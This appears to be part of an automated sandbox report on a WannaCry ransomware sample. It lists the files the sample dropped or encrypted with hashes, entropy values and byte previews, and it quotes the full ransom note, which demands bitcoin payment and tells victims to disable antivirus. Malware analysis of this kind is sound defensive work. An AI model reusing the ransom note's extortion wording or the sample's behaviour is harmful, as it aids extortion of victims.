                                                                                                                                                                              Preview:WANACRY!.....8.h,..W.;.+..a.[...[......]....y...p.y....r...._.d.t...+r+Zp.Zv..:K.f-}.~..+_....#G.y..!...,......5.#.$t..H..]F.&.][..K..L.N.."...i.q..]~w.k^.2HpEA.....I._ .x.$7P.Rn...m..N.p.E.G>....5e=...X.........1)k....X.1o...D.pPx..........d.-Z.gh....:................1..R...6..I..M0m...J.DGW...x...<7(./XP3T..-Q.<Y..C.0\..?dy...t......O...N.FMZm......8.I.$.T/.Qop... .-.o.....d9Ub...3.HWv.Q....po.Xt..U.G2.... ..9o..)=2..VM,F.L.s.D.n...+b.l...4\.O.E.I........k.Wv.C.......q.F......*.V...!.*.d......jm1.....<.......i.,vy..w..Y.Z.0p.1.. . .;......c..{.].^..3.!{Ej.'/.b7P'..#.}/.r.6..Zp|..T..2S..G../K....N...cf.\..D.....6.<....<..] in."et..%.T.SC{)..nL_.(u..;.lJ...P.*..t6q........xbF.r......=.c..Pr.sN....'f.)%.8..Qd...L.l...,.R}......>H\$...a....&H..E...4..g..h....a.................f.oI...!(u....f.ky.....>r....|S........3.Y."@_v$.X.A.N...@.....F...ly.z.d.~.,.......6.u..3\B.........E.j.o.=I#q.q...*.]......5.X4..r6...@.9..-F.>2....k.I=.Hc...-.\.

                                                                                                                                                                              C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\sp4c0p22.default-release\key4.db.WNCRYT

                                                                                                                                                                              Download File
                                                                                                                                                                              Process:C:\Users\user\Desktop\f_000112.exe
                                                                                                                                                                              File Type:data
                                                                                                                                                                              Category:dropped
                                                                                                                                                                              Size (bytes):295192
                                                                                                                                                                              Entropy (8bit):7.999263172481118
                                                                                                                                                                              Encrypted:true
                                                                                                                                                                              SSDEEP:6144:QQGTjBvbNrnertET+X7m3KD9rXdkholeVGHcLLZTcjrhxhXvCq:yTjBRrer+T+X7Qm+hogQHSejrh7vf
                                                                                                                                                                              MD5:39C1861C6DE10ACEEC6C63F27F939799
                                                                                                                                                                              SHA1:A4112627309BDEFB48B0FA9EB27FA9438DE7B706
                                                                                                                                                                              SHA-256:423BFA51E4EF754C3745328FE29BEA1EF360C958461BE83D91D706C180CB9300
                                                                                                                                                                              SHA-512:CE062F721AA819F89FCDEAA339F60A1397B8946192C211698CB6A0CF1B154B161CB7EA5D08B8F5D517480C8A6E155FCDCCCE8DFA05C68E7DF122E8816CBFDE9F
                                                                                                                                                                              Malicious:true
                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                              Preview:WANACRY!....XddjH..l.I.NGO.I(.E+....z......`......0u....$D.....S...Z.a'.t..[/.<.e..%`.o,..e.P.k5..Z.I....`$h\..[...a.....CE^....^t|9..k.........h.`C^.......z.'c.b..dP..n?.v[..#....W2......W..q...Q.Y..DyOh..s.1Ub{U.../!...}{...3E...a...5.(.@..N.%....V...!................{......3KE-.tt....TH....X..>=..g.F`@...Z.....<..b-....;...{...R...;Z..%..#..%.).....,..9......\...+..u..d..2 .*t....MT.`P]...)....|.....l..M......X..E?N...'4.$.>..Pp....m.t..Q.&.SB.Q...x.5Z9|u.L....R..v.8..).s.P..+icp6.p...xg.+m.......E.o...C:.......?..O.1.......W..`.?.vYe.E ...w..x.....{h...+}....5....5.1...V.F...j|]..).-...${.........b..H........rR........n..$..X*AR..l._.{...-4.=I....G^..;O0...-]6.X.)K)xjb.>.cS.|...-...TfX,...\.....p...!..X...@.~.;..`.e..q:.I..)[.J.K..\W4!....... .xxk..g.V..su..1..q.i.,C...>.S..K...5....T..K...R.B.....f7s.i.... .4.w.@.....5.~.y.Gur..F...2<.....zjD..BD..BL6.....}&o.K..J'...(;....; C..=t.E/.....$..Q)..X..G....1....J.Q...u.osJ"G5.'qQ.Ml.

                                                                                                                                                                              C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\sp4c0p22.default-release\pkcs11.txt.WNCRYT

                                                                                                                                                                              Download File
                                                                                                                                                                              Process:C:\Users\user\Desktop\f_000112.exe
                                                                                                                                                                              File Type:data
                                                                                                                                                                              Category:dropped
                                                                                                                                                                              Size (bytes):808
                                                                                                                                                                              Entropy (8bit):7.743847470900974
                                                                                                                                                                              Encrypted:false
                                                                                                                                                                              SSDEEP:12:bkEh72fHVdq/zA2di7OrYvScaGDyEYX/P26Kaf2PTRTlx3KniwmuiASDQ:bkE72fsA2j2QzEG326KK2BlJKOASDQ
                                                                                                                                                                              MD5:32068D7E25842B53639BC2F9979A05AF
                                                                                                                                                                              SHA1:EAFBA37CD52270C0DCE09DD4BFEE8274667E42F1
                                                                                                                                                                              SHA-256:4C255C30E7C4CC23B24DA517108FD9D5EAC1425898E93A5CF3630C75F5A5E6C5
                                                                                                                                                                              SHA-512:8704AE6BAF823E13784A3F5F5ECC9C590D2BF9980F8D3DA51FFA2682BE86170CC2B7081133D7D0EED2075FDB981CF4AEE93E3AD996FDA8F759ECD59BB166BB04
                                                                                                                                                                              Malicious:false
                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                              Preview:WANACRY!........x.L...........R=.......7....2.f.z>e......xH.5J...64)....p[.....6..(_. IXQ&....@.....xvZ....tv`8.........f.5.]n.V.....P|.S...yG"S..T6..'....L........F..+.xB..ry....j.ep..P.w....0........V.;..._..-..)..gJNY...~M.I.H...V...].K.....&&_7X...2............T.L......8!..A.[>......|P.K`........utj.B...7....P.c....Dob.......0.5JT..DM]-.Z}_.Z....Z.X.....].wK1&.r.=.B=..W.-.. ....3v3.>+Z..pr/.mH.@9.fa{...W.{.w.S..i......._.Te4.t.k...h.>.......d.CLV.p.....R77..O24.4.....c...k...o..v4..Ls<.Z..U.=7y9.n.A.j!....LY.d.$".....P7`...yj...)_...!H.+.m......u...^.6Lc..K..L......(......6.I..x...3$%Ut..6..A@.*-..+.:.WQ.....Yk#....0=.h@....=...4.E....O... yY.@2..C.......#...1...{..6....~.O......Z...4.E.......Y.X....G.)9.b....Z..G.-5.l.......k&..qCU...:Eb9?.0K.=..l.n..+.RZ

                                                                                                                                                                              C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\sp4c0p22.default-release\prefs.js.WNCRYT

                                                                                                                                                                              Download File
                                                                                                                                                                              Process:C:\Users\user\Desktop\f_000112.exe
                                                                                                                                                                              File Type:data
                                                                                                                                                                              Category:dropped
                                                                                                                                                                              Size (bytes):9608
                                                                                                                                                                              Entropy (8bit):7.9814942306849845
                                                                                                                                                                              Encrypted:false
                                                                                                                                                                              SSDEEP:192:KFvaDpi+xepzYy9iy6HgZJb+IjS2tUxW9dAhrZxcKs/dgVEGZJeQJxNTx/s:KZatia+YdhHgrFjhqW9d0uGh/eQJxNTK
                                                                                                                                                                              MD5:2F3B5C7DEC292153D28CFCF3B3D9314F
                                                                                                                                                                              SHA1:BC3C4028E7941C070010EB04F10E6EE8FC029E0E
                                                                                                                                                                              SHA-256:1DF5128074C52BFF7D65E4170FC88BC46A1BB4A40BA4793B47E07B878998F86F
                                                                                                                                                                              SHA-512:FF046C1D43B3FE7596E218CA3D127B55649B621D81034ED9513945D252371741DE6F41FC73688EE9A5A9F0FB21673D29715EDC31CECB49482F478EDBF6521AC6
                                                                                                                                                                              Malicious:false
                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                              Preview:WANACRY!......Z..&.....tCC.nt.G....R:.....~....9...S..[..>...G.b.._.D.........8.|...q..V.e....T....o.D..i...4..HUP..5A....e2..~}G...quY2.|..yf.K......+.K......:._._....r.D.5b'..9G[.=..b....$~..(.....6*"g-B_m+....'.[.(.XM..Cq...o..P./..Uy.c..>.ZO.....C[..~....f$......b~....:=v.mG...~`.b.N.F...}..D.<,..`H.r....G.A?R.Z"i.H".)...*.y3rrc...l.|..'..NOpCM.XV0..D..{.zA`.W..9So.....82O.^"0.3l+..b.....v.!=j."8..s.%...X3..|6l...HIUPb.]r........O...........N...3.._@.#p....Gu..<n..j...sm*T..h..PO.IR....B.=J..+i....'1.x...7F5...YV'...+mG!+..0.@.;..Q...5.1.g...(9..%F.s..........9...^.?.._.x.Y.C.Q.Qzl.......U..@.L,...V.....sB.yZ...0.<.:.n.s$n...]W..'rl.....>|....zl.L.-...t.Y0e...<.kn..B...>.[hULn....(w...9^......p..i.i..-.:i.....g"z.c.S....V...7~..]6]C....i..ku.&...R`?....u....1..w+..7P..9...d:]...9.....an...4.Q?^........$..>]..\dxv.6_..y..X....4:B. g..\.C.T1..2.c)Ja.k5.`.l..Lc..5..?...~..} X....H.c...M.z!.?..A..2..$..j.u.....b.....l..h8..&...Z.s.......ox.

                                                                                                                                                                              C:\Users\user\Desktop\00000000.eky

                                                                                                                                                                              Download File
                                                                                                                                                                              Process:C:\Users\user\Desktop\f_000112.exe
                                                                                                                                                                              File Type:TTComp archive data, binary, 2K dictionary
                                                                                                                                                                              Category:dropped
                                                                                                                                                                              Size (bytes):1284
                                                                                                                                                                              Entropy (8bit):7.841891536007337
                                                                                                                                                                              Encrypted:false
                                                                                                                                                                              SSDEEP:24:gLU8qm1HAW6xjoCPBAiQ14YTTQa6zIixjxTgoVdEzKiXq9cdmd6aoN:KU5m5ATxMZ/TTQ6ivgoV62vcdmd6v
                                                                                                                                                                              MD5:E83F3CA528BD2185A6010C7C6F1D4402
                                                                                                                                                                              SHA1:1314DEC310606C50D0CF5F63588410FEBA46C267
                                                                                                                                                                              SHA-256:A136FC1EF79E1F6845B160563B46BF6BDA83CBC540C43D787C44790782E1FCA2
                                                                                                                                                                              SHA-512:C7861DE329426EEF34B0F91E5F1C602FBC33ABA8F6D7B5C8101E8319E6E4A0CDB6C1D06DA4E43AF2548629B7EDCCBC7D820A8C0B1A8EC0B125DA3B0EA34424C6
                                                                                                                                                                              Malicious:false
                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                              Preview:........e...~p...Q......=.SK....X+.b]....."W.....-*..*.6m..{E<...%..&:JtC./.4.j^...I.}F0.`...2...T.H......e..............S.[.s..N...tU.-.,D;L.~aw\h.>U8!..B.I4.{.[..hpm..)>.N....(.1.....:SK$...&.7.Y?.G6o.P.....D..s.....edrL..p.e..Z..,af..|?..l.!.].U.........S.....&y.....E....3.E....J..=,......a.....=Z*.{..5Y...Y.dTj7.L...'...[. .c_Z`..RQ:W.Gp........%....cq..4.%we].Mzr.g..n....NQ..G.S.Q..u...`$.^.%...._..D...S4.....J-r&.>Z!x.j.I2g..y...q..aO.u.>.?|.n.}...n..J..y.<.l..JMI.S.B.....l*O.....y.YK.....RZG..(..+. C............ ..p'..,.T....c....l+...Q..A...=....z..> .L.&gf...6...i}.sR....+.....@t.t)%!.B....5..t....w...i.x....#X...e+..kHl..l5.ouiN...p......aD+...Iz.>..hl.4m....@Z..kc.yb..z...J.....O.q3).,|... .....+..e./Icu...9S..:$...T.XK..j...%HE[O.JwA.......D:...!......!..&[...C0...}. .(..|.9...*0.....g..q.:..I....^..V.{%%.i...xX)'./?.QJ.$....^...}..w%....k.....hi.j...2....>.c....e .....?X.&q..v.f$I...B.R$..../~..=i@U.@.^k.q7...nn.g5.A.!..

                                                                                                                                                                              C:\Users\user\Desktop\00000000.pky

                                                                                                                                                                              Download File
                                                                                                                                                                              Process:C:\Users\user\Desktop\f_000112.exe
                                                                                                                                                                              File Type:b.out overlay separate pure segmented executable 86 Large Text Large Data
                                                                                                                                                                              Category:dropped
                                                                                                                                                                              Size (bytes):276
                                                                                                                                                                              Entropy (8bit):7.226146514962876
                                                                                                                                                                              Encrypted:false
                                                                                                                                                                              SSDEEP:6:mtNCLQ4MzjOv7U7SGn+UfnfRUnabGg+ysBNk1gjFjJmzDphL5oTEmC+Udxc:YCM4MwlGn+GfRTbGg7sNCgJNy/tgEkSa
                                                                                                                                                                              MD5:4963657E0E3ABB8C4F979060BAED3396
                                                                                                                                                                              SHA1:75B0990242ABDBCAFA8A888E25F72C1B2D45A2EF
                                                                                                                                                                              SHA-256:483215B513351864B3AC6105FEF8E6760596B97D08162C093546F87A957DDDCA
                                                                                                                                                                              SHA-512:ED3AE6A19B535A96729A397D0C2491F3CCC85A0894FE3F63165BCCC92BBD72CF3E645906AC4C815921D698FFF22D892D48CA6AF528F62CF35163A082BFA64820
                                                                                                                                                                              Malicious:true
                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                              Preview:........RSA1........m....[GE.7..V...........n.....i..c.............A..X..c+mS..:P....^...B.;uF..f...zl....#.E..e...i..h.lC_.....o.Q..9.".5...~..q!A.....e'......AJ.p~.mOS..=..../k..+...8...Y...w...y....m.l.V......E..F.km.#...E3J...a];......L.$.}.6.8. E.....T.

                                                                                                                                                                              C:\Users\user\Desktop\00000000.res

                                                                                                                                                                              Download File
                                                                                                                                                                              Process:C:\Users\user\Desktop\f_000112.exe
                                                                                                                                                                              File Type:data
                                                                                                                                                                              Category:modified
                                                                                                                                                                              Size (bytes):136
                                                                                                                                                                              Entropy (8bit):1.1938908159944692
                                                                                                                                                                              Encrypted:false
                                                                                                                                                                              SSDEEP:3:2qqloCtwolDCl/:NqloCGolDCt
                                                                                                                                                                              MD5:A03C6FF49561BC2C34134C697EB4906F
                                                                                                                                                                              SHA1:D9F9AFD2AC65B035D0E730D82E115122E8395711
                                                                                                                                                                              SHA-256:81E846CF075EF2666DF21BF0C9FE92DADFCB907C2FB406B0933F25D6DCD72708
                                                                                                                                                                              SHA-512:FEE827E785F11C1C4AE73EFBEA069E3B193F07F9F0C60F55352184C0EC81E73BA5A51D3625CDB757790EE5EBE83911D5578EEF01AADC892901E13D8CAFB5AE3D
                                                                                                                                                                              Malicious:false
                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                              Preview:.....{............................................................................................f................p..f..........W.....

                                                                                                                                                                              C:\Users\user\Desktop\234691724246428.bat

                                                                                                                                                                              Download File
                                                                                                                                                                              Process:C:\Users\user\Desktop\f_000112.exe
                                                                                                                                                                              File Type:data
                                                                                                                                                                              Category:dropped
                                                                                                                                                                              Size (bytes):316
                                                                                                                                                                              Entropy (8bit):7.326734892053657
                                                                                                                                                                              Encrypted:false
                                                                                                                                                                              SSDEEP:6:nIH7CE83vbL7HlNo70Lnr7FhobMYoXPKMkkiax6mj0G2Odl:nvE8fbLfo78NhDPOkiaomwGpdl
                                                                                                                                                                              MD5:E1D78D22BA1DFD537976C4D12E0CCA4E
                                                                                                                                                                              SHA1:45D91AD90C726C642B58A1A4CFED11F97D50471A
                                                                                                                                                                              SHA-256:6DFE9133E80A319F2636EE1CD2D2E7AABF9F28C795AEB80AE6181F425F39F607
                                                                                                                                                                              SHA-512:E59225111CC2D9F84DB2F797BCFFCB8455FD1C56D1D4694A6412B1448A82F806DBF56178B9024A319ABA85ECC2AB277DA5E9C2695D133614315D19B9ABD5C1FE
                                                                                                                                                                              Malicious:false
                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                              Preview:./......x[..../.e....Gb.."x>.(j.YD.m....V..q....4OU..`p{. .....)`n.....6..*..{K.."...o.......2Z.xN.EH<....W..3.s.x.......%oW..G...e.[Dnh..K.>........._.f.....8..46[..-..y...|.......O...\m..VE....PpN{.L.s..O.m...yvn.B.`..0PH.(..f.Yk.K..............%G.Y...V..V@...'i0...cj]F,..o..[.C..u.f........EGq..

                                                                                                                                                                              C:\Users\user\Desktop\234691724246428.bat.WNCRY (copy)

                                                                                                                                                                              Download File
                                                                                                                                                                              Process:C:\Users\user\Desktop\f_000112.exe
                                                                                                                                                                              File Type:data
                                                                                                                                                                              Category:dropped
                                                                                                                                                                              Size (bytes):600
                                                                                                                                                                              Entropy (8bit):7.652524709504532
                                                                                                                                                                              Encrypted:false
                                                                                                                                                                              SSDEEP:12:bkEUl0UL+ySpwDMgZbIZGWqBQsFQJXCt4Wf2Dspq8fWebYymbfYpBq7hmjB:bkdSpdhGWqmemTWe4A8UH7pho
                                                                                                                                                                              MD5:545243370D0FAF861511EFABA48E28EA
                                                                                                                                                                              SHA1:E8D0AD680433D99097B02E6456AB24EA61FBF685
                                                                                                                                                                              SHA-256:DAF6FBC6A044BA7A91C11DC6467B1B6BF1C9F4414BBDD087084D5A75B46132D8
                                                                                                                                                                              SHA-512:5A436E956E3718BDC84EDABA28239BFE1B6E405FE09CC7CAC8A73A5D270940547F00B5D9933D369C82E39FA88AA9BB45B2B4921A800D9B2797BD7C3488853885
                                                                                                                                                                              Malicious:false
                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                              Preview:WANACRY!.....'.Mp.....N.6..V....(..#...;.;..Jf.g.|"8.$6...~....<;.QW!L`e....JV*./I..y^:....X.<Ml.L..t.@.._.....%...?1.....Wp.........j8z$..,B$.....m.K(.0.c.au.m.3..Q.....K.....?/.{..E..4..^.}S4....[1...:,..K...kzQH.v.'v..W..j1....C.....Q..;tQU.....f..."c$....<......./..4F.UI...m$.....k..v ..)^..H..>.....G..^.-4j..F.,.....z.>K.r2Qgi!?n..g.i+..C.8..>...xdH%...x...?B...S=....?>O.@X.s...._A.?f..xU.2...q$.9.y.....$ZX....6^.}.{....e......j.o.x..&....x5*/PA..A...O..X.x}!knL....{p...2...h..3..dV..W.../..$.J....]_.(..$z...:]B...5.\.$. 0..%.qR..I3.8.v9.9....x..'+C....X...5

                                                                                                                                                                              C:\Users\user\Desktop\234691724246428.bat.WNCRYT

                                                                                                                                                                              Download File
                                                                                                                                                                              Process:C:\Users\user\Desktop\f_000112.exe
                                                                                                                                                                              File Type:data
                                                                                                                                                                              Category:dropped
                                                                                                                                                                              Size (bytes):600
                                                                                                                                                                              Entropy (8bit):7.652524709504532
                                                                                                                                                                              Encrypted:false
                                                                                                                                                                              SSDEEP:12:bkEUl0UL+ySpwDMgZbIZGWqBQsFQJXCt4Wf2Dspq8fWebYymbfYpBq7hmjB:bkdSpdhGWqmemTWe4A8UH7pho
                                                                                                                                                                              MD5:545243370D0FAF861511EFABA48E28EA
                                                                                                                                                                              SHA1:E8D0AD680433D99097B02E6456AB24EA61FBF685
                                                                                                                                                                              SHA-256:DAF6FBC6A044BA7A91C11DC6467B1B6BF1C9F4414BBDD087084D5A75B46132D8
                                                                                                                                                                              SHA-512:5A436E956E3718BDC84EDABA28239BFE1B6E405FE09CC7CAC8A73A5D270940547F00B5D9933D369C82E39FA88AA9BB45B2B4921A800D9B2797BD7C3488853885
                                                                                                                                                                              Malicious:false
                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                              Preview:WANACRY!.....'.Mp.....N.6..V....(..#...;.;..Jf.g.|"8.$6...~....<;.QW!L`e....JV*./I..y^:....X.<Ml.L..t.@.._.....%...?1.....Wp.........j8z$..,B$.....m.K(.0.c.au.m.3..Q.....K.....?/.{..E..4..^.}S4....[1...:,..K...kzQH.v.'v..W..j1....C.....Q..;tQU.....f..."c$....<......./..4F.UI...m$.....k..v ..)^..H..>.....G..^.-4j..F.,.....z.>K.r2Qgi!?n..g.i+..C.8..>...xdH%...x...?B...S=....?>O.@X.s...._A.?f..xU.2...q$.9.y.....$ZX....6^.}.{....e......j.o.x..&....x5*/PA..A...O..X.x}!knL....{p...2...h..3..dV..W.../..$.J....]_.(..$z...:]B...5.\.$. 0..%.qR..I3.8.v9.9....x..'+C....X...5

                                                                                                                                                                              C:\Users\user\Desktop\@Please_Read_Me@.txt

                                                                                                                                                                              Download File
                                                                                                                                                                              Process:C:\Users\user\Desktop\f_000112.exe
                                                                                                                                                                              File Type:ASCII text, with CRLF line terminators
                                                                                                                                                                              Category:dropped
                                                                                                                                                                              Size (bytes):933
                                                                                                                                                                              Entropy (8bit):4.708686542546707
                                                                                                                                                                              Encrypted:false
                                                                                                                                                                              SSDEEP:24:ptrPzDVR5Gi3OzGm0EigS1xbnrRQhbrW8PNAi0eEprY+Ai75wRZcet:DZD36W3yhvWmMo+S
                                                                                                                                                                              MD5:F97D2E6F8D820DBD3B66F21137DE4F09
                                                                                                                                                                              SHA1:596799B75B5D60AA9CD45646F68E9C0BD06DF252
                                                                                                                                                                              SHA-256:0E5ECE918132A2B1A190906E74BECB8E4CED36EEC9F9D1C70F5DA72AC4C6B92A
                                                                                                                                                                              SHA-512:EFDA21D83464A6A32FDEEF93152FFD32A648130754FDD3635F7FF61CC1664F7FC050900F0F871B0DDD3A3846222BF62AB5DF8EED42610A76BE66FFF5F7B4C4C0
                                                                                                                                                                              Malicious:false
                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                              Preview:Q: What's wrong with my files?....A: Ooops, your important files are encrypted. It means you will not be able to access them anymore until they are decrypted... If you follow our instructions, we guarantee that you can decrypt all your files quickly and safely!.. Let's start decrypting!....Q: What do I do?....A: First, you need to pay service fees for the decryption... Please send $300 worth of bitcoin to this bitcoin address: 115p7UMMngoj1pMvkpHijcRdfJNXj6LrLn.... Next, please find an application file named "@WanaDecryptor@.exe". It is the decrypt software... Run and follow the instructions! (You may need to disable your antivirus for a while.).. ..Q: How can I trust?....A: Don't worry about decryption... We will decrypt your files surely because nobody will trust us if we cheat users... ....* If you need our assistance, send a message by clicking <Contact Us> on the decryptor window....

                                                                                                                                                                              C:\Users\user\Desktop\@WanaDecryptor@.exe

                                                                                                                                                                              Download File
                                                                                                                                                                              Process:C:\Users\user\Desktop\f_000112.exe
                                                                                                                                                                              File Type:PE32 executable (GUI) Intel 80386, for MS Windows
                                                                                                                                                                              Category:dropped
                                                                                                                                                                              Size (bytes):245760
                                                                                                                                                                              Entropy (8bit):6.278920408390635
                                                                                                                                                                              Encrypted:false
                                                                                                                                                                              SSDEEP:3072:Rmrhd5U1eigWcR+uiUg6p4FLlG4tlL8z+mmCeHFZjoHEo3m:REd5+IZiZhLlG4AimmCo
                                                                                                                                                                              MD5:7BF2B57F2A205768755C07F238FB32CC
                                                                                                                                                                              SHA1:45356A9DD616ED7161A3B9192E2F318D0AB5AD10
                                                                                                                                                                              SHA-256:B9C5D4339809E0AD9A00D4D3DD26FDF44A32819A54ABF846BB9B560D81391C25
                                                                                                                                                                              SHA-512:91A39E919296CB5C6ECCBA710B780519D90035175AA460EC6DBE631324E5E5753BD8D87F395B5481BCD7E1AD623B31A34382D81FAAE06BEF60EC28B49C3122A9
                                                                                                                                                                              Malicious:true
                                                                                                                                                                              Antivirus:
                                                                                                                                                                              • Antivirus: ReversingLabs, Detection: 97%
                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                              Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......%...a...a...a......b.......u.......`.....d.......j.......e...W...b...a.......W...s.......`...Richa...................PE..L.....[J.................@...p.......1.......P....@..................................................................................0..|............................................................................P...............................text....3.......@.................. ..`.rdata..h....P.......P..............@..@.data....2.......0..................@....rsrc...|....0....... ..............@..@........................................................................................................................................................................................................................................................................................................................................................

                                                                                                                                                                              C:\Users\user\Desktop\@WanaDecryptor@.exe.lnk

                                                                                                                                                                              Download File
                                                                                                                                                                              Process:C:\Windows\SysWOW64\cscript.exe
                                                                                                                                                                              File Type:MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Archive, ctime=Wed Aug 21 12:19:29 2024, mtime=Wed Aug 21 12:19:29 2024, atime=Fri May 12 05:22:56 2017, length=245760, window=hide
                                                                                                                                                                              Category:dropped
                                                                                                                                                                              Size (bytes):575
                                                                                                                                                                              Entropy (8bit):5.1514333141017135
                                                                                                                                                                              Encrypted:false
                                                                                                                                                                              SSDEEP:6:4xtQl3r23CpzeVs+bTcJHUtxXCz8lFUod6tMljAlp4hlIGoJ4D6Vod6Nu3/Wmc8E:8I2ypzYNblthRUobjAyhkotcsBmV
                                                                                                                                                                              MD5:40D3E8A910C0565F268932057F54E386
                                                                                                                                                                              SHA1:EBBE944DDE299B9B357FBEF6BDD20F7176B3C0BA
                                                                                                                                                                              SHA-256:90E66004446E10C5D31A8955509805E176408F47C3AC5B8DF5388A496CEB8B9A
                                                                                                                                                                              SHA-512:60C404E8260EDE86CE2AA3EA668386A172535C0A7009993DF3AA71A5E72114A1067ACDDD0C51B5506CA58290E5B8ABA39BD0902FDA471A34F6EB31BFB31C888A
                                                                                                                                                                              Malicious:false
                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                              Preview:L..................F.... ....+.......y.......`.1.................................P.O. .:i.....+00.:...:..,.LB.)...A&...&.........{4.....................t.2......J.2 .@WANAD~1.EXE..X.......Yoj.Yoj..............................@.W.a.n.a.D.e.c.r.y.p.t.o.r.@...e.x.e.......X...............-.......W....................C:\Users\user\Desktop\@WanaDecryptor@.exe......\.@.W.a.n.a.D.e.c.r.y.p.t.o.r.@...e.x.e.`.......X.......284992...........hT..CrF.f4... ..............%..hT..CrF.f4... ..............%.E.......9...1SPS..mD..pH.H@..=x.....h....H.....K...YM...?................

                                                                                                                                                                              C:\Users\user\Desktop\BJZFPPWAPT.docx

                                                                                                                                                                              Download File
                                                                                                                                                                              Process:C:\Users\user\Desktop\f_000112.exe
                                                                                                                                                                              File Type:data
                                                                                                                                                                              Category:dropped
                                                                                                                                                                              Size (bytes):1026
                                                                                                                                                                              Entropy (8bit):7.824043252877261
                                                                                                                                                                              Encrypted:false
                                                                                                                                                                              SSDEEP:24:AY2fnfNNVDXoaAYK7JzDBZkw9+6DokKE84tO0NURRCz1Z1TCemzHoBbl+n:JIRDLAYKtHkwk6sEfzNURoJDCeR+n
                                                                                                                                                                              MD5:96F46F69DBA32317D39D7BC55EFA7B57
                                                                                                                                                                              SHA1:F02ED6C0B7C0D4A2F3D84E6709C8E1D7D3CCF08C
                                                                                                                                                                              SHA-256:132695CE756EA624361F4AD0CFF2F1627F6D9CA64491E9440B0050B3BE8589F4
                                                                                                                                                                              SHA-512:1D7F4858A0242B0D105A5D7E96A39BF8A5D4DC5B353EB55C373C6815D45E4C5B2BE41A5385EDFE85FD51F8B62DA78703030008FBD7F617AA695AE058F2875D9C
                                                                                                                                                                              Malicious:false
                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                              Preview:...<..Jd..gWC.....:d...,...`.....P......!.g.Z.?.tI.^.v..]..%..h....'0..A.?.{.............(...v...\-...t.].Yg*...H...1..1.L}..a....=....Z...."S./-x.]$..^*J..k>X@kJ......r...!......(.......G.Gv..6~....Z.............t..~=.`...i..nM.X..Wr}.-/...(.JU...R$9..rV......i..[.Z...<g+.O.nk.z/@3hf.Q..s......#g".3..!...........!.EM^Z....*)._.{.;.g<|0..$....zm.o..2..m...'...5p.i..E..W.r....R.8.^.W....$..h..5-...\...R.+......3`b..C\.F#w-...e./....w.g....)..v$...R.X...R.04..$...ccv..A,h.....v..rE..I.O..../v'x'H.b.eo3..z..B......<...XJ C}_>DG{a.Ee.+7.r..G..6Wa..D.|V.2.....1Y..^..B.A.....Rl'...kk...:.b....m.,..:.^[.Ed[l..!.s..L.t..&....|.a......9VG.Pr....\..J...._m..I.U......k...l`g..+#.......I.hY.%.$..n>......?u.....2i2... ...r.L.......v-?.=....s..V..........].l..;@.$g...Q../...u.F.v)nX.6d.....(.K.-(.P.Rw@.U..F.R..........d4_.`x.T....D%`\..V..-S...-.4..$.t..n.I..7<.;...05]..5.q.;..".(.5.&W..$.+)D...bm.O..T.....-k.....I`..1....1Hz...Q..?.r...awy....wZ.8..P.

                                                                                                                                                                              C:\Users\user\Desktop\BJZFPPWAPT.docx.WNCRY (copy)

                                                                                                                                                                              Download File
                                                                                                                                                                              Process:C:\Users\user\Desktop\f_000112.exe
                                                                                                                                                                              File Type:data
                                                                                                                                                                              Category:dropped
                                                                                                                                                                              Size (bytes):1320
                                                                                                                                                                              Entropy (8bit):7.829204434113971
                                                                                                                                                                              Encrypted:false
                                                                                                                                                                              SSDEEP:24:bkccEG71yop4/Ul3kSi8xlx594uOUENhkstF+4bvAF2siYZyYhe6uWm+ZlPAIWoG:bk2RQFl3kMxlvuTUEZNoPG6Sowr4J8JJ
                                                                                                                                                                              MD5:64D10D2F4A2DD2269F81B857D6BC4219
                                                                                                                                                                              SHA1:F64BECCDDE74D4534AFAD9D287D7909ED42D04DF
                                                                                                                                                                              SHA-256:F15BF128F6D57BAB720620A1DF8295235C91698FBD799E49B9994727DD80F982
                                                                                                                                                                              SHA-512:4196AE9511DF812E5E8C9369054620E715F0BAA5F3F14E018570F01415E2A4F0CCFACDFFC3B78C9BEE13DF5162AD01629E208896CA7D770FBFD3A982237AF4C0
                                                                                                                                                                              Malicious:false
                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                              Preview:WANACRY!........*...J..n....)...EQ+v8.^.Z..E..=fg.u.h....+..g%L..Ub.......Q.HLU 7.i......wV,..fU.>o.Q!8\.Z....A......[.QP....rn.O.......n,....cW.96^K...?....X%. [.e.p...E.f...x..9.U..f..c..^o..x.QR...v...`....$.........../.y,....|@...T./..R.n.........gj............z.F....x.J..h8..4.G..d9G1..........(}Q.....dD...)..+......O..U<..VI.=...LG.vvQf't.,.&.Ppm..........^...1...i..:..9......9<.W...4.P4.8/...k.<..^./?L.d.....z3.........Q.+.......C....j...(?.DA...b.giY..T\h...kt u..J@....'..J.......L..r.......$.E3...(l.RG....y) Y.w....G.iC....S.<!..v.4......X?%.'..A...=...i.r`LV.M&/k^....${.|,...<T..2.....U..*...W.X..?..(.\.B[:.....q...*....T...<.......5^....Vm..s..|....P<.....}B)[...G1.O......f...7%U[R..~..6(08l..%..........W.^..3..~(F).Z2.*.?kc.Z9.'/.....U..}n.T..%....gL.Ll..F!r..@.r..8W....../.]dZ..B........i.j..1Q.1#Y.8.v.d."e..9g.X..+.)..?..t.i-..&.r....7. ..B..Gx.._.o?.#h..h5z.....NO.T..F...;.R.\...%.......@.e.....@....+.q.34..}Y..`R....N.R...Y.<g.M

                                                                                                                                                                              C:\Users\user\Desktop\BJZFPPWAPT.docx.WNCRYT

                                                                                                                                                                              Download File
                                                                                                                                                                              Process:C:\Users\user\Desktop\f_000112.exe
                                                                                                                                                                              File Type:data
                                                                                                                                                                              Category:dropped
